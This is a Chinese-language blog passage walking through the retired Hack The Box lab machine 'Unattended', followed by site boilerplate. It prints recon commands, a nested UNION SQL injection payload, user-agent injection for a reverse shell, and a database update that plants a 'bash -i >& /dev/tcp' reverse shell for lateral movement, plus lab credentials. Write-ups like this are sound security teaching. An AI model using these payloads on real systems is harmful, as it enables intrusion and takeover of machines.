zoukankan      html  css  js  c++  java
  • HTB-靶机-Unattended

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.126

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.126 -o ./Unattended-autorecon

    就开放了两个端口,有HTTPS,看到里面有域名,绑定一下hosts访问一把

    echo "10.10.10.126 www.nestedflanders.htb" >> /etc/hosts

    显示一个Debian的默认页面,看下目录爆破结果存在一个dev目录和index.php文件

    gobuster dir -t 50 -w /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt -u https://www.nestedflanders.htb/ -k
    
    gobuster dir -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u https://www.nestedflanders.htb/ -k

    这里存在目录穿越具体可参考:https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md

    通过目录穿越读取到目标靶机文件代码index.php

    通过分析此代码文件,确认存在SQL注入漏洞,可通过嵌套union查询进行注入

    https://www.nestedflanders.htb/index.php?id=25' union select "main' union select '/etc/passwd' LIMIT 1,1;-- -" LIMIT 1,1;-- -

    经过测试可以通过使用burpsuite更改user-agent的请求头信息进行注入代码反弹shell

    上述需要注意下就是反弹端口只能是80和443,因为目标靶机防火墙过滤了向外连接的端口,只允许外联80和443端口,拿到反弹shell之后根据上面读取的文件index.php知道了数据库名称,用户名和密码,登录进去查看到如下信息

    mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e -D neddy
    select * from config;

    测试发现字段checkrelease的属性值存在计划任务周期执行检查,我们可以通过修改此信息横向移动到用户guly

    update config set option_value = 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' where option_name = 'checkrelease';

    这里提权是分析grab相关信息,分析出来之后得出了root密码,下面是 查找grub相关组信息

    find / -group grub -ls 2>/dev/null

    通过nc将相关文件传输到本地kali分析出来密码为

    132f93ab100671dcb263acaf5dc95d8260e8b7c6

    具体分析可参考:

    https://0xdf.gitlab.io/2019/08/24/htb-unattended.html
    https://overflow.uaacyber.dev/2019/08/unattended.html
    https://0xrick.github.io/hack-the-box/unattended/
    https://alamot.github.io/unattended_writeup/

  • 相关阅读:
    [置顶] duilib优化
    cocos2dx 0.9.2 ccmenu bug
    wince 本地播放器界面
    关于变更设计
    MS SQL系统存储过程览要
    [翻译]IE8下VML的变化
    VS 2010 快捷操作
    .Net Web程序设计——通用的设计元素
    如何高效的清理系统盘空间?
    如何进行SQL性能优化?-借助Profile
  • 原文地址:https://www.cnblogs.com/autopwn/p/14207789.html
Copyright © 2011-2022 走看看